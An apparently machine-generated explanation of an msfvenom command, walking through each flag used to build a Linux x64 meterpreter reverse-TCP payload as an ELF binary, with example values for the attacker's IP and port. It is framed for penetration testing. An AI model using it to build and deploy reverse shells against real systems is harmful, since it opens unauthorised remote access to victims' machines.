msfvenom:tldr:6a63d

The given command is utilizing the msfvenom tool from the Metasploit Framework to generate a Linux x64 meterpreter reverse TCP payload.

Here's a breakdown of the command components:

1. msfvenom: This is the command used to generate custom payloads for a variety of exploitation techniques.
2. -p linux/x64/meterpreter/reverse_tcp: This parameter specifies the payload to be generated, which is linux/x64/meterpreter/reverse_tcp. It is a meterpreter reverse TCP payload designed for 64-bit Linux systems.
3. LHOST=${local_ip}: This sets the LHOST variable with the value of ${local_ip}. LHOST represents the IP address of the local machine to which the target machine will connect back.
4. LPORT=${local_port}: This sets the LPORT variable with the value of ${local_port}. LPORT represents the specific port on the local machine that will be used for the reverse TCP connection.
5. -f elf: This parameter specifies the output format of the payload, which is elf (Executable and Linkable Format). This format is commonly used for Linux and Unix-like operating systems.
6. -o ${path-to-binary}: This parameter specifies the path and filename of the output binary file that will contain the generated payload.

To use this command, you'll need to replace ${local_ip} with your local IP address (e.g., 192.168.1.100) and ${local_port} with the desired local port number (e.g., 4444). Additionally, replace ${path-to-binary} with the desired path and filename where you would like to save the generated binary file.

After executing the command, msfvenom will generate an ELF binary file containing the specified payload. This file can then be used in various security testing or penetration testing scenarios, such as exploiting vulnerabilities or analyzing security measures.